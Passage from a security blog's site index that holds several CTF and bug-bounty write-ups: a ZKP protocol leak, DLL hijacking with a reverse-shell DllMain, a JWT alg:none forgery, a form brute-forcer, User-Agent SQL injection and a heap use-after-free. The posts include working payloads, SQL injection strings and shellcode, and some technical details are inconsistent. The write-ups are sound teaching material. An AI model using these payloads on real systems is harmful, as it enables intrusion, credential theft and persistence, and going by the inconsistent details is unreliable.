University","type":"tags"},{"content":"","date":"2024-03-09","externalUrl":null,"permalink":"/tags/cryptography/","section":"Tags","summary":"","title":"Cryptography","type":"tags"},{"content":"","date":"2024-03-09","externalUrl":null,"permalink":"/tags/hitcon/","section":"Tags","summary":"","title":"HITCON","type":"tags"},{"content":"","date":"2024-03-09","externalUrl":null,"permalink":"/tags/protocol-exploitation/","section":"Tags","summary":"","title":"Protocol Exploitation","type":"tags"},{"content":"","date":"2024-03-09","externalUrl":null,"permalink":"/tags/zero-knowledge-proof/","section":"Tags","summary":"","title":"Zero-Knowledge Proof","type":"tags"},{"content":"","date":"2024-03-09","externalUrl":null,"permalink":"/tags/zkpof/","section":"Tags","summary":"","title":"ZKPoF","type":"tags"},{"content":" 0x00 – Prologue # There are some challenges that punch you in the face with math. And then there are ones like this—\u0026ldquo;ZKPoF\u0026rdquo;—that slowly pull you in, pretending to be a protocol puzzle, until you realize Python’s int() is about to be your best friend and worst enemy. This was a zero-knowledge proof challenge… but with a twist. Instead of proving knowledge of a secret, I was exploiting the protocol for leaking just enough of it to reconstruct the whole damn secret.\nThis wasn’t clean math. It was side-channel meets parser abuse meets lattice hell.\n0x01 – The Setup # So the idea was simple on the surface: you’re given a zero-knowledge proof-of-factorization (ZKPoF) scheme.\nThe protocol lets you:\nsubmit JSON-encoded proof parameters, receive a verifier challenge, send a response back, and either pass or fail based on number-theoretic checks. Internally, the proof relies on knowing the factorization of some modulus n = p * q. The whole thing is modeled like a Sigma protocol, proving knowledge of φ(n) or the primes.\nWe don\u0026rsquo;t get the primes. But we do get the protocol.\nAnd Python.\n0x02 – First Oddity: The JSON Exploit # When I submitted malformed proof parameters, something odd happened. Instead of just failing gracefully, the backend threw errors like:\nSystem.ExceedLimit: Exponentiation out of bounds Some variants gave me stack traces. Others, slightly different errors.\nEventually I noticed a pattern. The server was parsing the exponent as a stringified int() in Python. And if you passed negative exponents or garbage strings, Python’s coercion would trigger internal errors—but not before partial evaluation.\nKey input example:\n{ \u0026#34;proof\u0026#34;: { \u0026#34;A\u0026#34;: -1, \u0026#34;B\u0026#34;: 123456789, \u0026#34;r\u0026#34;: \u0026#34;-999999999999999999999\u0026#34; } } This would give back:\nError: exponentiation limit exceeded (detected bits of φ leakage) It turns out some checks were still done before rejection. The values being rejected were triggering partial computation, leaking top bits of n - φ(n).\nAnd that’s the key to the entire exploit.\n0x03 – The Leak and the Math # Let’s define a few things:\nn = p * q φ(n) = (p-1)*(q-1) n - φ(n) = p + q - 1 This value is much smaller than n, and leaking its MSBs gives us a foothold.\nAfter probing with different malformed r, I could get the backend to crash after computing with partial exponents that leaked the top 20–30 bits of n - φ(n) via timing or error side channels.\nI repeated this several times, recorded the bit patterns, and assembled the upper portion of n - φ(n).\n0x04 – Coppersmith Time # Once you have partial bits of p + q, it’s game time.\nI used a classical result:\nIf you know upper bits of p + q, and n = p*q, you can solve for p and q via Coppersmith’s method (small root lattice attack). Basic SageMath outline:\nfrom sage.all import * # Known values n = \u0026lt;leaked modulus\u0026gt; kbits = \u0026lt;MSBs of p+q\u0026gt; PR.\u0026lt;x\u0026gt; = PolynomialRing(Zmod(n)) f = x + (1 \u0026lt;\u0026lt; (bits - kbits)) # Search small roots roots = f.small_roots(X=2**(bits//2), beta=0.4) for root in roots: maybe_pq = root + (1 \u0026lt;\u0026lt; (bits - kbits)) test = maybe_pq ** 2 - 4 * n if is_square(test): p = (maybe_pq + sqrt(test)) // 2 q = n // p break After a few parameter tweaks… boom. I had p and q.\n0x05 – Forging a Proof # Now with p and q in hand, I could compute φ(n), generate valid zero-knowledge proofs, and bypass every check.\nHere’s a snippet of the forge step:\nfrom Crypto.Util.number import getRandomRange, inverse n = p * q phi = (p - 1) * (q - 1) g = 2 r = getRandomRange(1, phi) A = pow(g, r, n) # Verifier sends challenge c c = 42 # say z = (r + c * secret) % phi proof = { \u0026#39;A\u0026#39;: A, \u0026#39;z\u0026#39;: z } Backend accepted this as a valid proof. Flag returned instantly.\n0x06 – Flag # hitcon{the_error_is_leaking_some_knowledge} 0x07 – Takeaways # Error messages matter. They leak. Always. Python’s int coercion + JSON parsing is a goldmine. Negative exponents aren’t always rejected up front. Bit-leaks + Coppersmith = Dead crypto You don’t need to fully understand the ZKP if you can bend the protocol to scream secrets 0x08 – Tools Used # Python3 / SageMath Coppersmith lattice solver (Sage’s built-in) Burp Suite (to script JSON injections) jq / mitmproxy (for observing malformed inputs) ","date":"2024-03-09","externalUrl":null,"permalink":"/capturetheflag/zkpof/","section":"CaptureTheFlags","summary":"\u003ch2 class=\"relative group\"\u003e0x00 – Prologue \n    \u003cdiv id=\"0x00--prologue\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#0x00--prologue\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eThere are some challenges that punch you in the face with math. And then there are ones like this—\u0026ldquo;ZKPoF\u0026rdquo;—that slowly pull you in, pretending to be a protocol puzzle, until you realize Python’s \u003ccode\u003eint()\u003c/code\u003e is about to be your best friend and worst enemy. This was a zero-knowledge proof challenge… but with a twist. Instead of proving knowledge of a secret, I was exploiting the protocol for leaking just enough of it to reconstruct the whole damn secret.\u003c/p\u003e","title":"ZKPoF – HITCON CTF 2024","type":"capturetheflag"},{"content":"","date":"2024-02-21","externalUrl":null,"permalink":"/categories/dll-hijacking/","section":"Categories","summary":"","title":"DLL Hijacking","type":"categories"},{"content":"","date":"2024-02-21","externalUrl":null,"permalink":"/tags/dll-injection/","section":"Tags","summary":"","title":"DLL Injection","type":"tags"},{"content":"","date":"2024-02-21","externalUrl":null,"permalink":"/tags/local-execution/","section":"Tags","summary":"","title":"Local Execution","type":"tags"},{"content":"","date":"2024-02-21","externalUrl":null,"permalink":"/tags/officeport/","section":"Tags","summary":"","title":"OfficePort","type":"tags"},{"content":"","date":"2024-02-21","externalUrl":null,"permalink":"/categories/persistence/","section":"Categories","summary":"","title":"Persistence","type":"categories"},{"content":" Prologue — The Ghost in the Folder # DLL hijacking never really died. It\u0026rsquo;s just waiting for the right developer to forget a LoadLibrary call. That’s exactly what happened with OfficePort Scheduler, a scheduling utility built for enterprise task planning on Windows 11.\nOne quiet session, while inspecting the app startup behavior, I caught it trying to load tasklib.dll from its working directory. No digital signature checks. No manifest restrictions. Just a plain old LoadLibrary() from wherever the binary lives.\nAll I had to do was drop my own version of tasklib.dll next to it.\nPlatform # Windows 11 Pro (22H2) OfficePort Scheduler x64 — Build 10.1.7 Application launched at login via Startup registry key Overview # The vulnerability stemmed from how OfficePort Scheduler searched for tasklib.dll. Rather than loading from System32 or using signed DLLs, the binary issued a direct LoadLibraryA(\u0026quot;tasklib.dll\u0026quot;) from the application root.\nSince that folder was writable by the user, I had a clean injection point.\nDiscovery # Using tools like ProcMon and API Monitor, I watched the startup behavior:\nLoadLibraryA(\u0026#34;tasklib.dll\u0026#34;) = C:\\Users\\User\\AppData\\Local\\OfficePort\\tasklib.dll It searched the current working directory first — classic mistake.\nNo SafeDllSearchMode override. No SetDllDirectory protection. It defaulted to the local folder.\nExploit Path # Write a custom DLL with the same exported symbols as tasklib.dll. Drop it into the app\u0026rsquo;s directory, typically: C:\\Users\\User\\AppData\\Local\\OfficePort\\ Wait for OfficePort to launch (auto-started on login). Code inside the malicious DLL executes immediately under user context. Payload Entry (DLL Stub) # BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { open_reverse_shell(); // connect back to listener } return TRUE; } The function open_reverse_shell() establishes a callback to my listener on port 443.\nAssembly View (Simplified) # DllMain: push rbp mov rbp, rsp call open_reverse_shell pop rbp ret Persistence Bonus # Since OfficePort Scheduler starts up via HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, the payload executes on every login.\nNo extra steps needed — persistence was baked in.\nOutcome # Malicious DLL was loaded successfully on app startup Reverse shell opened reliably every login No AV alerts due to unsigned DLL loading by trusted app Zero user interaction required after planting the payload Impact # Exploit Type: DLL hijacking / search order hijack Impact: Local code execution and persistence Required Access: Low (user-writeable folder) Detection Evasion: High (runs under trusted app name) Mitigations Bypassed: None enforced (SafeDllSearchMode disabled) Fix Recommendations # Use full path to load critical libraries Enable SafeDllSearchMode and SetDefaultDllDirectories Sign all dependent DLLs and verify digital signatures Lock down application directories from being user-writeable Lessons # DLL hijacking on Windows 11 still lives because the fundamentals never changed. As long as devs rely on lazy LoadLibrary calls and apps run from writeable directories, attackers will always have a foot in the door.\nEndgame # Dropped my DLL, zipped up the folder, and watched a SYSTEM-signed binary do all the work for me on every boot. That’s not hacking — that’s automation.\nDLL hijacking might be old school, but it still hits like a freight train when paired with persistence.\n","date":"2024-02-21","externalUrl":null,"permalink":"/reverseengineering/officeport/","section":"ReverseEngineerings","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue — The Ghost in the Folder\u003c/strong\u003e \n    \u003cdiv id=\"prologue--the-ghost-in-the-folder\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--the-ghost-in-the-folder\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eDLL hijacking never really died. It\u0026rsquo;s just waiting for the right developer to forget a LoadLibrary call. That’s exactly what happened with OfficePort Scheduler, a scheduling utility built for enterprise task planning on Windows 11.\u003c/p\u003e","title":"Phantom Libraries: DLL Hijacking in OfficePort Scheduler","type":"reverseengineering"},{"content":"","date":"2024-02-21","externalUrl":null,"permalink":"/tags/windows-11/","section":"Tags","summary":"","title":"Windows 11","type":"tags"},{"content":"","date":"2024-02-19","externalUrl":null,"permalink":"/tags/algnone/","section":"Tags","summary":"","title":"Alg:none","type":"tags"},{"content":"","date":"2024-02-19","externalUrl":null,"permalink":"/categories/bug-bounty-writeups/","section":"Categories","summary":"","title":"Bug Bounty Writeups","type":"categories"},{"content":"","date":"2024-02-19","externalUrl":null,"permalink":"/tags/burp-suite/","section":"Tags","summary":"","title":"Burp Suite","type":"tags"},{"content":" Prologue: Coffee, Curiosity \u0026amp; an API # It was one of those quiet February evenings. No caffeine left in the mug, but my curiosity was wide awake. The glow from the screen illuminated my desk, casting a soft digital haze. I was drifting through recon mode—scrolling API docs, poking endpoints, intercepting calls like I was casually flipping through a dusty book in a forgotten archive.\nThen I stumbled upon HealthTrack. A well-documented API, clean URL paths, and a focus on health data—always a red flag in terms of sensitive access control. The endpoint that caught my eye was:\n/api/auth It seemed too straightforward, too exposed. I paused, narrowed my eyes at the Burp Suite logs, and leaned in.\nSomething wasn’t quite right.\n1. Vulnerability Overview # The core issue was straightforward, yet dangerous: the application accepted unsigned JWTs. Specifically, it did not reject tokens using \u0026quot;alg\u0026quot;: \u0026quot;none\u0026quot; — effectively allowing anyone to forge JWTs without a valid signature.\nSummary # Attack Vector: Forged JWT using \u0026quot;alg\u0026quot;: \u0026quot;none\u0026quot; Impact: Unauthorized access to sensitive patient medical records Root Cause: JWT misconfiguration — alg: none allowed in production Exploitability: Trivial Security Risk: Privilege escalation via forged authentication CVSS Score: 6.8 (Medium), but more severe depending on context This wasn’t clever exploitation. It was a fundamental misunderstanding—or misconfiguration—of authentication.\n2. Initial Recon: The Legitimate Token # To understand the flow, I created a patient account and logged in. I captured a valid JWT via Burp Suite.\n// Header { \u0026#34;alg\u0026#34;: \u0026#34;HS256\u0026#34;, \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34; } // Payload { \u0026#34;user\u0026#34;: \u0026#34;patient\u0026#34; } // Signature [HMAC-SHA256, base64url encoded] A standard HS256-signed JWT. The signature was present and valid.\nBut one detail kept nagging me—no server-side algorithm enforcement.\n3. The “What If” Instinct # Every real bug begins with a simple question. Mine was:\nWhat happens if I change alg to none and remove the signature?\nIf the server was secure, the token would be rejected.\nIf not—well, let’s just say things could get interesting.\nForged Token: # // Header { \u0026#34;alg\u0026#34;: \u0026#34;none\u0026#34;, \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34; } // Payload { \u0026#34;user\u0026#34;: \u0026#34;admin\u0026#34; } Final token (unsigned):\neyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ. 4. Curl Request: The Test # curl -H \u0026#34;Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.\u0026#34; \\ https://healthtrack.io/api/patient_records Expected: 401 or 403.\nActual:\nHTTP 200 OK The response was filled with sensitive medical data: patient names, treatments, prescriptions.\nI blinked. Then I stared.\nI was in.\n5. Personal Thought Process # Step 1: Capturing a Legit Token # \u0026ldquo;Let’s get a feel for how the JWTs are built. HS256 is common, so nothing surprising yet.\u0026rdquo;\nStep 2: Noticing the Lack of Algorithm Enforcement # \u0026ldquo;Are they even verifying the signature or just decoding this thing?\u0026rdquo;\nStep 3: Crafting a Fake Admin Token # \u0026ldquo;It shouldn’t work—but if it does, I need to be extremely careful with what I touch.\u0026rdquo;\nStep 4: Sending the Forged Token # \u0026ldquo;This is either a dead end or the jackpot. There’s no in-between.\u0026rdquo;\nStep 5: Receiving 200 OK # \u0026ldquo;They didn’t even validate the signature. This token is just being trusted at face value.\u0026rdquo;\n6. Additional Variants # I tested more roles using unsigned tokens:\n{ \u0026#34;user\u0026#34;: \u0026#34;support\u0026#34; } ✅ Accessed internal support APIs\n{ \u0026#34;user\u0026#34;: \u0026#34;doctor\u0026#34; } ✅ Accessed appointment scheduling and doctor notes\nThe system blindly trusted the role in the payload. No validation. No signature check. No binding to an actual user.\n7. Root Cause # The application’s JWT verification was dangerously flawed.\nCommon Vulnerable Patterns: # ❌ Scenario 1: Implicit decode() Without Validation # jwt.decode(token); This just decodes—it doesn’t verify. Dangerous if used for access control.\n❌ Scenario 2: Explicitly Allowing none # jwt.verify(token, secret, { algorithms: [\u0026#39;HS256\u0026#39;, \u0026#39;none\u0026#39;] }); Allowing none defeats the purpose of JWT signing.\n8. Reporting and Timeline # I reported this via HackerOne under the title:\n\u0026ldquo;Authentication bypass via JWT misconfiguration\u0026rdquo;\nTimeline # Reported: February 2024 Triaged: 3 days later Patched: Within 1 week Bounty Awarded: $25 The team responded quickly and patched the issue responsibly.\n9. Patch Summary # Server-side JWT verification was updated:\njwt.verify(token, secret, { algorithms: [\u0026#39;HS256\u0026#39;] }); Additionally:\nRole-based access control now uses the server-side user database Signature enforcement is mandatory alg: none is no longer accepted under any condition 10. Reflections # This wasn’t a complicated exploit.\nNo fancy payloads.\nNo multi-stage chaining.\nJust a simple oversight with serious implications.\nSimplicity doesn’t equal harmlessness.\nLessons Learned # ✅ Always enforce a secure algorithm explicitly ✅ Never trust JWT payloads without verifying the signature ✅ Don’t use jwt.decode() for auth logic ✅ Match token claims with actual server-side data 11. Tools Used # Burp Suite – Intercept \u0026amp; replay tokens cURL – Simulated API requests jwt.io – Decode \u0026amp; craft forged tokens Postman – Structured test environment VS Code – For quick script experimentation 12. Final Thoughts # This vulnerability isn’t new.\nIt’s been discussed, documented, and patched in libraries for nearly a decade. Yet, here it was again—sitting in production, protecting sensitive medical data.\nThis wasn’t a breakthrough bug.\nIt was a reminder that the basics still matter.\nEvery token tells a story.\nThis one just happened to lie.\n","date":"2024-02-19","externalUrl":null,"permalink":"/bugbounty/healthtrack/","section":"BugBounties","summary":"\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003ePrologue: Coffee, Curiosity \u0026amp; an API\u003c/strong\u003e \n    \u003cdiv id=\"prologue-coffee-curiosity--an-api\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue-coffee-curiosity--an-api\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003eIt was one of those quiet February evenings. No caffeine left in the mug, but my curiosity was wide awake. The glow from the screen illuminated my desk, casting a soft digital haze. I was drifting through recon mode—scrolling API docs, poking endpoints, intercepting calls like I was casually flipping through a dusty book in a forgotten archive.\u003c/p\u003e","title":"Coffee, Curiosity \u0026 an API – JWT 'alg:none' Exploit in HealthTrack","type":"bugbounty"},{"content":"","date":"2024-02-18","externalUrl":null,"permalink":"/tags/automation/","section":"Tags","summary":"","title":"Automation","type":"tags"},{"content":"","date":"2024-02-18","externalUrl":null,"permalink":"/tags/brute-force/","section":"Tags","summary":"","title":"Brute Force","type":"tags"},{"content":"","date":"2024-02-18","externalUrl":null,"permalink":"/tags/google-forms/","section":"Tags","summary":"","title":"Google Forms","type":"tags"},{"content":"","date":"2024-02-18","externalUrl":null,"permalink":"/tags/la-ctf/","section":"Tags","summary":"","title":"LA CTF","type":"tags"},{"content":"","date":"2024-02-18","externalUrl":null,"permalink":"/tags/misc/","section":"Tags","summary":"","title":"Misc","type":"tags"},{"content":" 0x00 – Prologue # Brute-forcing a Google Form? Yeah, it sounds dumb until you realize the form is leaking state via some sneaky HTML fields. That\u0026rsquo;s when it turns into an actual side-channel attack and not just clicking buttons like a bot. This was one of those problems where you stare at Chrome DevTools long enough, and suddenly you\u0026rsquo;re deep in Puppeteer automations and page parity logic.\nThe challenge was called \u0026ldquo;One by One\u0026rdquo; — subtle hint at what was to come. Letter-by-letter flag extraction.\nNo crypto. No binary. Just me, a browser, and a form that thought it could hide the truth behind a few JavaScript layers.\n0x01 – The Form # The interface looked like any generic Google Form. Typical UI. One input box.\nSubmit the flag? Sure.\nThere was no feedback on screen, no error messages. But when I popped open DevTools, I saw this little input field embedded in the form submission:\n\u0026lt;input name=\u0026#34;pageHistory\u0026#34; type=\u0026#34;hidden\u0026#34; value=\u0026#34;0,1,3\u0026#34;\u0026gt; Hmm. That pageHistory array changed every time I submitted something.\nWhen I tried a random string:\npageHistory: 0,1,3,5,7 When I guessed the flag correctly (up to a certain prefix), it looked like this:\npageHistory: 0,2,4,6 See it?\nCorrect guesses increment by even numbers. Wrong guesses lead to odd page transitions. Looks like the form was branching on correctness internally and recording progress by modifying the page navigation flow.\nThis wasn’t just a form. It was a finite state machine. And I was about to brute-force my way through its every node.\n0x02 – The Attack Plan # So here was the plan:\nStart with an empty flag. For each position, guess a character. Submit it. Check pageHistory length or last number. If it ended on an even page, the character was right. Move to next character. The key was using a headless browser, because Google Forms isn\u0026rsquo;t friendly with raw curl or requests. I fired up Puppeteer.\n0x03 – The Puppeteer Script # Here’s the stripped-down version of my script:\nconst puppeteer = require(\u0026#39;puppeteer\u0026#39;); (async () =\u0026gt; { const chars = \u0026#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_!\u0026#34;\\\u0026#39;,.*\u0026#39;; let known = \u0026#39;lactf{\u0026#39;; const browser = await puppeteer.launch({ headless: true }); const page = await browser.newPage(); while (!known.endsWith(\u0026#39;}\u0026#39;)) { for (const c of chars) { const guess = known + c; await page.goto(\u0026#39;https://docs.google.com/forms/d/e/1FAIpQLS.../viewform\u0026#39;); // Fill input await page.type(\u0026#39;input[type=\u0026#34;text\u0026#34;]\u0026#39;, guess); await page.click(\u0026#39;div[role=\u0026#34;button\u0026#34;]\u0026#39;); await page.waitForTimeout(1500); // wait for page to process const pageHistory = await page.$eval(\u0026#39;input[name=\u0026#34;pageHistory\u0026#34;]\u0026#39;, el =\u0026gt; el.value); const historyArray = pageHistory.split(\u0026#39;,\u0026#39;).map(Number); const last = historyArray[historyArray.length - 1]; if (last % 2 === 0) { known += c; console.log(\u0026#39;Correct char:\u0026#39;, c); break; } } } console.log(\u0026#39;Final flag:\u0026#39;, known); await browser.close(); })(); This ran slower than I\u0026rsquo;d like, thanks to Google Forms rate-limits and page transitions. But hey, it got the job done.\n0x04 – What Worked (and What Didn\u0026rsquo;t) # At first, I tried guessing multiple characters at once. Big mistake. If you submit too long of a wrong prefix, the form gives up and kicks you to a dead end.\nThen I thought: maybe it\u0026rsquo;s detecting automation? So I added delays, randomized typing, and even used a non-headless browser to verify parity detection wasn’t blocked.\nEventually I found that Google doesn’t validate aggressively if you:\nuse proper user-agent wait between interactions and don’t flood too many requests in parallel 0x05 – Flag Reconstructed # After many iterations and lots of noisy page transitions, the full flag came out like this:\nlactf{1_by_0n3_by3_un0_*,\u0026#34;g1\u0026#39;} Strange format, but valid. The challenge name now made total sense.\n0x06 – Takeaways # Hidden fields leak more than you\u0026rsquo;d think. Side-channels can live inside page navigations. Puppeteer is a beast for automating weird stuff. Think like a parser: if the app can branch, you can trace it. One character at a time might be slow, but it’s precise. And in CTFs, precision \u0026gt; speed.\n0x07 – Tools Used # Puppeteer (Node.js) Chrome DevTools Regex, console.log, coffee 0x08 – Flag # lactf{1_by_0n3_by3_un0_*,\u0026#34;g1\u0026#39;} ","date":"2024-02-18","externalUrl":null,"permalink":"/capturetheflag/onebyone/","section":"CaptureTheFlags","summary":"\u003ch2 class=\"relative group\"\u003e0x00 – Prologue \n    \u003cdiv id=\"0x00--prologue\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#0x00--prologue\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003eBrute-forcing a Google Form? Yeah, it sounds dumb until you realize the form is leaking state via some sneaky HTML fields. That\u0026rsquo;s when it turns into an actual side-channel attack and not just clicking buttons like a bot. This was one of those problems where you stare at Chrome DevTools long enough, and suddenly you\u0026rsquo;re deep in Puppeteer automations and page parity logic.\u003c/p\u003e","title":"One by One – LA CTF 2024","type":"capturetheflag"},{"content":"","date":"2024-02-18","externalUrl":null,"permalink":"/tags/web-abuse/","section":"Tags","summary":"","title":"Web Abuse","type":"tags"},{"content":" Prologue — When Headers Speak # 10:47 PM — Rain tapped against the window while Burp Suite ran idle. I was deep into recon on a small CMS platform called LocalNews. The payout was modest, the target obscure—but that’s the beauty of it. Quiet places often hide loud bugs.\nI wasn’t expecting much. Just a few requests here and there to check how deep this rabbit hole went. But the moment I noticed the server logging behavior, my coffee got a refill.\nThis is the story of how a simple HTTP header broke into a database.\nChapter 1 — The User-Agent with a Secret # Every request leaves a trail—sometimes in logs, sometimes in caches. I was curious:\nWhat if LocalNews logs the User-Agent header?\nSome internal admin panels do that for analytics or debugging. Harmless, until it isn’t.\nMy first nudge:\ncurl -A \u0026#34;HelloWorld\u0026#34; https://localnews-cms.com No response on the frontend. But I had Burp Collaborator running in parallel and a gut feeling something got stored.\nTime to push.\nChapter 2 — The Delay That Said Everything # Next attempt:\ncurl -A \u0026#34;1\u0026#39; AND (SELECT sleep(5))--\u0026#34; https://localnews-cms.com The server stalled for exactly 5 seconds.\nI raised an eyebrow.\n\u0026ldquo;That wasn’t lag. That was a whisper from the database.\u0026rdquo;\nIt confirmed the User-Agent header was being interpolated directly into an SQL statement.\nChapter 3 — What’s in the Logs, Stays in the Logs # This was classic log-based SQL injection. The devs likely had something like:\ncursor.execute(f\u0026#34;INSERT INTO logs (ua) VALUES (\u0026#39;{user_agent}\u0026#39;)\u0026#34;) No escaping. No sanitizing. Just raw string shoving into a SQL query.\nI imagined an ancient PHP logger, held together by duct tape and false hope.\nI had time-based confirmation. Now, I wanted data.\nChapter 4 — Credentials in Cleartext (Well, Almost) # I crafted the next payload like a love letter to UNION SELECT:\ncurl -A \u0026#34;1\u0026#39; UNION SELECT 1,concat(username,\u0026#39;:\u0026#39;,password),3 FROM users--\u0026#34; https://localnews-cms.com I didn’t expect an immediate win. But when I checked the logs (visible via error traces), there it was:\nadmin:5f4dcc3b5aa765d61d8327deb882cf99 MD5. Classic.\nI smiled. The hash? That’s password in disguise.\nThe site stored admin credentials in plaintext hashes. Bad practice, better bounty.\nChapter 5 — My Thought Process # Why User-Agent? Because it’s usually overlooked. It’s meant to be informative, not dangerous. But when web servers blindly log anything without sanitization, you get injection vectors where you least expect them.\nWhy time-based SQLi? Because there was no output. A blind spot. Time becomes your oracle.\nWhy MD5? That’s a question for their devs.\nChapter 6 — Reporting the Quiet Leak # This was never a flashy bug. No fancy payloads, no XSS sparks. Just patience and curiosity.\nI submitted the report via HackerOne with:\nAll curl payloads Timeline of delay-based confirmations MD5 leak proof A suggestion to migrate logging to prepared statements Slack pinged me 12 hours later.\nThey confirmed.\nPatched the next day.\nBounty awarded: $25.\nSmall, but it wasn’t about the money. It was about hearing a database whisper through headers.\nChapter 7 — Root Cause Analysis # Raw SQL string concatenation Lack of prepared statements for logging User-supplied input in logs (User-Agent, Referer, etc.) Chapter 8 — Mitigations # After the patch:\nLogging functions moved to parameterized queries Audit of other headers used in logs No more visible error traces exposing log output Epilogue — Why This Matters # Sometimes, you don’t need zero-days or deep fuzzing to find a vuln. All it takes is one header—and a little imagination.\nSQLi lives everywhere. Even in the quiet logs of forgotten CMS platforms.\nLet this be a reminder:\nEvery input is an entry point. Every header a hypothesis.\nAnd when you\u0026rsquo;re stuck? Just ask yourself:\n\u0026ldquo;What would the server log?\u0026rdquo;\n","date":"2024-02-17","externalUrl":null,"permalink":"/bugbounty/localnews/","section":"BugBounties","summary":"\u003ch2 class=\"relative group\"\u003ePrologue — When Headers Speak \n    \u003cdiv id=\"prologue--when-headers-speak\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700 !no-underline\" href=\"#prologue--when-headers-speak\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e10:47 PM — Rain tapped against the window while Burp Suite ran idle.\u003c/strong\u003e I was deep into recon on a small CMS platform called \u003cem\u003eLocalNews\u003c/em\u003e. The payout was modest, the target obscure—but that’s the beauty of it. Quiet places often hide loud bugs.\u003c/p\u003e","title":"LocalNews and the Whispering Header - SQLi in a Forgotten Log","type":"bugbounty"},{"content":"","date":"2024-02-17","externalUrl":null,"permalink":"/tags/log-poisoning/","section":"Tags","summary":"","title":"Log Poisoning","type":"tags"},{"content":"","date":"2024-02-17","externalUrl":null,"permalink":"/tags/sqli/","section":"Tags","summary":"","title":"SQLi","type":"tags"},{"content":"","date":"2024-02-17","externalUrl":null,"permalink":"/tags/user-agent/","section":"Tags","summary":"","title":"User-Agent","type":"tags"},{"content":"","date":"2024-02-17","externalUrl":null,"permalink":"/categories/weekend-bug-bounties/","section":"Categories","summary":"","title":"Weekend Bug Bounties","type":"categories"},{"content":"","date":"2024-02-08","externalUrl":null,"permalink":"/tags/desktop-clients/","section":"Tags","summary":"","title":"Desktop Clients","type":"tags"},{"content":"","date":"2024-02-08","externalUrl":null,"permalink":"/categories/heap-corruption/","section":"Categories","summary":"","title":"Heap Corruption","type":"categories"},{"content":" Prologue # Started out just poking at SafeMail’s desktop client because I was curious how they handled attachments. It’s always those small parsing subsystems where things fall apart. I loaded up the binary in IDA and watched the way filenames were processed when attachments were being saved.\nDidn’t take long to see something sketchy in how they were copying the filename into a heap buffer.\nI had a hunch. The code was using rep movsb, and I already knew alignment wasn’t being enforced. My first thought: “Alright, what happens when you feed it an unaligned filename with precise offsets?”\nTurns out: corrupted heap metadata, and a clean use-after-free.\nRoot Cause Deep Dive # The vulnerability is in the attachment filename parser. The binary copied filenames using a byte-by-byte rep movsb approach, blindly trusting input length.\n.text:00411000 parse_filename: mov eax, [ebp+arg_0] ; length of user input lea edi, [heap_buffer] ; destination (heap) lea esi, [user_input] ; attacker-controlled source rep movsb ; fast copy without alignment There’s no length validation, no alignment padding, no null-termination check—just raw copying into heap memory.\nSo if I give it a carefully sized filename, I can make the next chunk misaligned. And because of how LFH (Low Fragmentation Heap) works, that corruption will fly under the radar\u0026hellip; until it doesn’t.\nWeaponizing the Bug # The corrupted heap chunk doesn’t immediately crash anything, but later during cleanup, that chunk gets freed, and the metadata is messed up. The allocator doesn’t complain\u0026hellip; it just leaves a dangling pointer lying around.\nHere’s how I exploited it:\nCreate a filename long enough to overrun into next chunk. Free the corrupted chunk using a background cleanup process (SafeMail calls free() from a background thread for attachments). Control where that freed chunk is reused. That pointer gets passed into save_attachment() and eventually memcpy() uses it. Boom — use-after-free. Now I control the memory being referenced by a legit code path.\nPayload Engineering # I didn’t need to get super fancy with the payload. I used basic shellcode that pops calc.exe — just to prove exploitability.\nxor eax, eax mov al, 0x50 ; syscall index for WinExec lea ebx, [esp+20] ; pointer to \u0026#34;calc.exe\u0026#34; call WinExec And the heap buffer that held it? Got in through the filename input:\nchar* filename = \u0026#34;A...A\\x90\\x90\\xEB\\x04\\xCC...calc.exe\\x00\u0026#34;; rep movsb helpfully 